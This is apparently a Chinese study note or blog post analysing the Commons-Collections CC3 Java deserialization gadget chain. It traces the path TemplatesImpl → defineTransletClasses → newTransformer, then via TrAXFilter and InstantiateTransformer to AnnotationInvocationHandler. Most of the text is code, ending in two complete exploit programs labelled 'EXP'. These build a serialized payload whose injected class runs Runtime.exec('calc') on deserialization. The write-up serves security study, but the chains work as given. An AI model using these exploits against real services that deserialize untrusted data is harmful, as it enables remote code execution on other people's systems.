Commons-Collections 篇 --CC3
CC3
1&6是命令执行
3&2&4是代码执行
利用动态类加载,代码执行
介绍
不直接使用 CC1 或 CC2 的触发方式,利用了 Map + AnnotationInvocationHandler 组合。
可以通过修改 Transformer 链执行任意方法,而不仅仅是系统命令。
CC3 = 利用反序列化 → 触发 LazyMap → 触发 ChainedTransformer → 触发 InvokerTransformer → 执行你指定的方法链
分析
回顾类加载
ClassLoader里面—–使用loadclass加载——-findclass—-defineclass

从字节b中加载一个类
类加载不会执行代码所以现在得寻找他的初始化(调用)
逐步分析
过滤Runtime.exec
找流程
寻找defineclass的初始化
注意:在查找用法的时候,有好几种形式的defineClass,可以都看看
最后找到了这个形式

的这个文件

因为,这个文件的defineClss前面只写了一个class,说明是内部调用的,存在声明
跟进看看哪里调用了defineClass

出现在这个函数中
defineTransletClasses
defineTransletClasses也是私有的
继续查看defineTransletClasses的调用

在这三个调用中,只有如图的此处,出现了newInstance()用来初始化
其他的两处就是简单返回了这个加载类(后续操作未知,或者是不直接)
所以看这个就行,
getTransletInstancegetTransletInstance是私有的,继续寻找调用

定位到
newnewTransformer是public的
问题:
cc3中,为什么一定要找public的newnewTransformer呢??
CC3 链之所以必须“停”在 newTransformer(),是因为这是整个过程中唯一可以被反射正常调用的 public 实例方法\,并且它会触发 JDK 内置的 XSLTC 流程,从而进一步调用内部代码链。
而之前那些方法虽然是私有的,但它们不是被反射主动调用,而是被 类加载流程内部自动调用 的。
也就是:
你并不是“主动调用到那里”,而是被 JDK 内部代码自动推着走到那里。
到了newTransformer()才真正需要“主动调用”,所以必须是 public。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CC3 链依赖的是 XSLTC 的 ClassLoader 机制(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)。
这条链启动后:
① ClassLoader.loadClass()
JDK 内部调用,属于类加载规范流程。
② → findClass()
ClassLoader 内部会自动调用 findClass(protected)。
③ → defineClass()
ClassLoader 内部自动调用(public/protected 都行)。
④ → defineTransletClasses()(private)
注意:
虽然这是 private
但是 是在 TemplatesImpl 的内部代码中自己调用自己的私有方法
不是你反射调用的,所以访问权限不受限制。
⑤ → getTransletInstance()(private)
同理,也是内部方法“自己调用”自己。
newnewTransformer是publicTemplatesImpl.newTransformer(public)
getTransletInstance.newInstance

defineTransletClasses里面
_class[_transletIndex]赋值
defineClass进行
类加载_class[i] = loader.defineClass(_bytecodes[i]);
这个类的继承,说明可以反序列化、
先看逻辑(构造测试)
1
2
3
4
5
6
7public class CC3Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException { TemplatesImpl templates = new TemplatesImpl(); templates.newTransformer() ; }
看参数赋值
newTransformer内部,查看赋值参数

发现后面的几个,不赋值也不影响的getTransletInstance()调用
进到getTransletInstance()看看

name需要赋值
class是空,就调用defineTransletClasses
这个是我们想要的查看new的TemplatesImpl是否传入参数

啥也没有
也就是说,new的时候没赋值,就需要我们写exp的时候自己赋值
下一步走到defineTransletClasses

- _bytecodess是空,会爆出异常
需要赋值 - _tfactory要调用后面的方法
需要赋值
- _bytecodess是空,会爆出异常
查看_bytecodess的类型

_bytecodess是一个二维数组
查看defineClass的传参类型

接受收一个一维数组
接着查看其调用

就是for循环,把传的每一个_bytecodess循环调用(所以弄个一维数组,套一层二维就行)
构造测试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33public class CC3Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException { //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet) // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。 TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); //获取 私有 字段"_name" Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true);//获取私有 //在templates中设置 "_name"=="aaaa" nameField.set(templates,"aaaa"); //获取 私有 字段"_bytecodes" Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);//获取私有 //创建字节码 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); //设置二位数组和参数类型匹配 byte[][] codes = {code}; //在templates中设置 "_bytecodes"==codes bytecodesField.set(templates,codes); //获取 私有 字段"_tfactory" Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true);//获取私有 //在templates中设置 "_tfactory"==new TransformerFactoryImpl() tfactoryField.set(templates,new TransformerFactoryImpl()); // newTransformer() 是最终触发点,会执行: // defineTransletClasses() → 将 _bytecodes 加载为类 // getTransletInstance() → 实例化类(执行静态代码块/构造) templates.newTransformer() ; }构建
_bytecodes在Test文件写完之后,构建得到字节码(class文件)
1
2
3
4
5
6
7
8
9
10
11package org.example; import java.io.*; public class Test { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }构建完放在这个路径下,和上面匹配

使得
CC3Test文件中的byte[]可以读取字节码,将其放到templates里面构造
1
2
3
4
5
6
7
8
9//获取 私有 字段"_bytecodes" Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);//获取私有 //创建字节码 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); //设置二位数组和参数类型匹配 byte[][] codes = {code}; //在templates中设置 "_bytecodes"==codes bytecodesField.set(templates,codes);
构造_tfactory(用于方法实现)
跟进
_tfactory1
private transient TransformerFactoryImpl _tfactory = null;类型是
TransformerFactoryImpltransient说明,这个变量不可序列化也就是说,给他赋值没啥用,反序列化传不进去(但是,需要这个值,但是又不能反序列化得到,所以他的复赋值一定在readObject里面)
看readObject

构造
1
2
3
4
5//获取 私有 字段"_tfactory" Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true);//获取私有 //在templates中设置 "_tfactory"==new TransformerFactoryImpl() tfactoryField.set(templates,new TransformerFactoryImpl());
处理报错
发现报错
defineTransletClasses
dubug查看错误

发现
1
2
3
4
5if判断, 查看获取类的父类是不是等于ABSTRACT_TRANSLET,是则赋值_transletIndex=i 不是则调用_auxClasses的put方法 现在就是因为_auxClasses为空,所以报错解决
要么if达成上一个条件_transletIndex
要么给
_auxClasses赋值,但是后面还要验证_transletIndex的值1
2
3
4if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
满足第一个if
看
ABSTRACT_TRANSLET这个类1
2private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";把他写Test里面
1
2
3
4
5
6
7
8
9
10
11
12package org.example; import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } }但是发现爆红
原因:
1
public abstract class AbstractTranslet implements Translet {AbstractTranslet是一个抽象类
需要实现抽象方法
只有transform,抽象方法
1
2
3public abstract void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException;Translet还有transform的接口
实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28package org.example; import java.io.*; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class Test extends AbstractTranslet{ static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
成功弹出

过滤InvokerTransform.transform
寻找哪个类调用了newTransformer
到上面TemplatesImpl.newTransformer
newTransformer可以执行代码
查看newTransformer的调用,看看有没有别的类调用这个方法
getOutputProperties()
1
2
3
4
5
6
7
8public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }也是调用的公共方法
但是**调用
getOutputProperties()**:调用
Transformer的getOutputProperties()方法,返回一些配置属性。
但是 这本身并不会触发字节码执行,因为getOutputProperties()只是获取一些配置,根本没有执行你注入的字节码逻辑。TransformerFactoryImpl
1
2public class TransformerFactoryImpl extends SAXTransformerFactory implements SourceLoader, ErrorListener没有继承序列化接口,想要实现序列化,就要看看构造函数
1
2
3public TransformerFactoryImpl() { this(true); }构造函数实现不了,所以不行
TrAXFilter

传参templates
之后,直接调用了templates.newTransformer()也就是说调用构造函数,即可成功执行
1
public class TrAXFilter extends XMLFilterImpl {1
2
3public class XMLFilterImpl implements XMLFilter, EntityResolver, DTDHandler, ContentHandler, ErrorHandler {但是未继承反序列化接口
目的:想要序列化TrAXFilter
从其class入手,在构造函数中赋值
构造函数中赋值
用到一个类
InstantiateTransformer有序列化接口
1
2
3
4
5
6
7
8
9public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs);这个类的transform方法
先判断传入参数是不是class类型
如果是,就获取其指定类型的构造器
调用其构造函数
这里正好和我们上面提到的 构造函数 相同
查看InstantiateTransformer的构造函数
1
2
3
4
5public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }获取所获得类的参数的类型以及
参数值我们所想要的类是
TrAXFilter
类型:Templates
值:上面我们所构造的
测试构造
1
2
3
4//构造instantiateTransformer InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); //复制测试 instantiateTransformer.transform(TrAXFilter.class);
逐步构造
过滤Runtime.exec
过滤Runtime.exec,进行代码执行(相当于把危险方法包在了字节码中,解析之后调用)
利用反射调用templates的newTransformer方法
1
2
3
4
5
6Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1);//写个东西测试一下,发现可以弹出计算器执行顺序:
步骤 Transformer 输入 输出 1 ConstantTransformer 1templates2 InvokerTransformer templates执行 templates.newTransformer()这个地方输入“1”,只是为了将程序跑起来
transform()方法 必须要有一个输入(任何 Object 都行)
下面的代码就和cc1前半段一样了(因为上面这个都可以执行)
1
2
3
4
5
6
7
8
9
10
11
12
13HashMap<Object, Object> map = new HashMap<>(); map.put("value", "12"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin");最终代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49public class CC3Test { public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException { //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet) // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。 TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); //获取 私有 字段"_name" Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true);//获取私有 //在templates中设置 "_name"=="aaaa" nameField.set(templates,"aaaa"); //获取 私有 字段"_bytecodes" Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);//获取私有 //创建字节码 byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class")); //设置二位数组和参数类型匹配 byte[][] codes = {code}; //在templates中设置 "_bytecodes"==codes bytecodesField.set(templates,codes); //获取 私有 字段"_tfactory" Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true);//获取私有 //在templates中设置 "_tfactory"==new TransformerFactoryImpl() tfactoryField.set(templates,new TransformerFactoryImpl()); // newTransformer() 是最终触发点,会执行: // defineTransletClasses() → 将 _bytecodes 加载为类 // getTransletInstance() → 实例化类(执行静态代码块/构造) templates.newTransformer() ; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(1); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
过滤InvokerTransform.transform
接上面所说
构造完instantiateTransformer(通过TrAXFilter触发)
下面还是接着cc1的东西来获取这个TrAXFilter类
1
2
3
4
5
6
7
8
9
10
11
12
13HashMap<Object, Object> map = new HashMap<>(); map.put("value", "12"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer ); // for(Map.Entry entry:transformedMap.entrySet()){ // entry.setValue(r); // } Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin");获取之前,要用ChainedTransformer将上面的包起来
1
2
3
4
5
6
7
8
9InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ // 第一步:返回 templates 对象 new ConstantTransformer(TrAXFilter.class), // 第二步:调用 templates.newTransformer() instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);相当于
instantiateTransformer替换InvokerTransform.transform
两个EXP
过滤Runtime.exec
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CC3Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {
//TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
// 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
//获取 私有 字段"_name"
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);//获取私有
//在templates中设置 "_name"=="aaaa"
nameField.set(templates,"aaaa");
//获取 私有 字段"_bytecodes"
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);//获取私有
//创建字节码
byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
//设置二位数组和参数类型匹配
byte[][] codes = {code};
//在templates中设置 "_bytecodes"==codes
bytecodesField.set(templates,codes);
//获取 私有 字段"_tfactory"
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);//获取私有
//在templates中设置 "_tfactory"==new TransformerFactoryImpl()
tfactoryField.set(templates,new TransformerFactoryImpl());
// newTransformer() 是最终触发点,会执行:
// defineTransletClasses() → 将 _bytecodes 加载为类
// getTransletInstance() → 实例化类(执行静态代码块/构造)
templates.newTransformer() ;
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}过滤InvokerTransform.transform
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class CC3Test2 {
public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {
//TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
// 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");//获取 私有 字段"_name"
nameField.setAccessible(true);//获取私有
nameField.set(templates, "aaaa"); //在templates中设置 "_name"=="aaaa"
Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取 私有 字段"_bytecodes"
bytecodesField.setAccessible(true);//获取私有
byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
byte[][] codes = {code};//设置二位数组和参数类型匹配
bytecodesField.set(templates, codes);//在templates中设置 "_bytecodes"==codes
Field tfactoryField = tc.getDeclaredField("_tfactory");//获取 私有 字段"_tfactory"
tfactoryField.setAccessible(true);//获取私有
tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置 "_tfactory"==new TransformerFactoryImpl()
//构造instantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// // 赋值测试
// instantiateTransformer.transform(TrAXFilter.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "12");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}流程总结
过滤Runtime.exec
defineClass—-newInstance
defineTransletClasses
getTransletInstance.newInstance
TemplatesImpl.newTransformer
InvokerTransform.transform
后面的就是cc1一样,获取类的流程
过滤InvokerTransform.transform
defineClass—-newInstance
defineTransletClasses
getTransletInstance.newInstance
TemplatesImpl.newTransformer
TrAXFilter.TrAXFilter
InstantiateTransformer.transform
后面的就是cc1一样,获取类的流程
对比
上面这条
直接利用newTransformer
用的是InvokerTransform.transform
下面这条
利用了调用newTransformer的类(间接调用)
用的是InstantiateTransformer.transform
可以看图:
